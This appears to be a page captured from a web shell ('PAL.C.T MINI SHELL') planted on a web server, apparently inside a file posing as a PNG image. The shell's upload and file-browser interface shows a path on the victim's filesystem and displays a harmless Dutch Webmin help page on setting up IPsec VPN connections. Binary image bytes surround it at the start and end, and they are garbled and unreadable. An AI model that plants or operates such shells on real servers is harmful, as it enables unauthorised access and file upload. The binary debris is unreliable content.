php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/ipsec/help/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/ipsec/help/edit.nl.html

<header>Een verbinding aanmaken of bewerken</header>

Met deze pagina kunt u een nieuwe IPsec verbinding aanmaken, of de details
bewerken van een bestaande verbinding. Een verbinding met dezelfde instellingen,
voor de VPN tunnel, moet aan beide zijde gelijk zijn van de systemen. <p>

Velden in de <b>IPsec VPN verbinding details</b> sectie die gelden voor iedere
verbinding en de aanbevolen instellingen staan in de lijst hieronder :
<dl>
<dt><b>Verbinding naam</b>
<dd>Een korte naam voor deze verbinding zonder spaties.
<dt><b>Tijdens IPsec opstarten</b>
<dd>Indien er voor <b>Verbinding toevoegen</b> is gekozen, zal deze verbinding alleen
    tot stand komen indien hij gestart word. Indien <b>Start verbinding</b> word
    gekozen is zal het worden gestart zodra de IPsec server is gestart. De eerste optie
    is het beste voor tunnels naar remote systemen die maar af en toe actief zijn,
    en de tweede optie is het beste geschikt voor permanente VPN verbindingen.
<dt><b>Comprimeer data?</b>
<dd>Dit moet u op <b>Default</b> laten staan.
<dt><b>Soort verbinding</b>
<dd>Dit moet u op <b>Default</b> laten staan.
</dl>

Extra informatie voor de systemen moet altijd worden toegevoegd aan beide zijde van de
verbinding. Dus het moet precies hetzelfde zijn op beide systemen, echter over het
algemeen worden de <b>Lokale</b> en <b>Remote</b> details uitgewisseld zodat de
instellingen voor deze host altijd in de <b>Lokale of systeem instellingen</b> sectie
bevinden.
De velden in iedere sectie en de voorgestelde instellingen zijn :
<dl>
<dt><b>Publiek IP adres</b>
<dd>In dit veld moet het vaste IP adres gezet worden van het systeem, of 
    <b>Automatisch</b> voor een host waarvan het IP adres dynamisch word
    toegewezen. Echter u kunt niet de lokale en de remote secties tegelijk
    op <b>Automatisch</b> zetten.
<dt><b>Systeem identificatie</b>
<dd>De <b>Hostnaam</b> optie moet worden geselecteerd en de systeem hostnaam
    moet worden ingevuld in het tekst veld. FreeSWAN gebruikt deze instelling
    om te bepalen welke sectie van de verbinding word toegevoegd aan welke host.
<dt><b>Prive subnet achter het systeem</b>
<dd>Indien er met dit systeem een intern netwerk is verbonden zodat er een host
    verbinding mag maken met dit systeem moet u een netwerk adres invullen en
    een voorkeur lengte in dit veld (zoals <i>192.168.1.0/24</i>).
<dt><b>Systeem publieke sleutel</b>
<dd>Normaal gesproken selecteert u <b>Hieronder ingevuld</b> en vult u de
    RSA publieke sleutel in van het systeem in de tekst box. Dit kan dan worden
    gezien op de <b>Toon Publieke Sleutel</b> pagina van dat systeem.
<dt><b>Volgende hop naar ander systeem</b>
<dd>Als u een normale netwerk setup heeft, moet u dit veld laten staan op
    <b>Standaard route</b>.
</dl>

Nadat u een verbinding heeft bewerkt of heeft aangemaakt, moet u op de
<b>Configuratie Toevoegen</b> knop klikken op de module hoofd pagina om de
veranderingen te activeren. <p>

<hr>

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`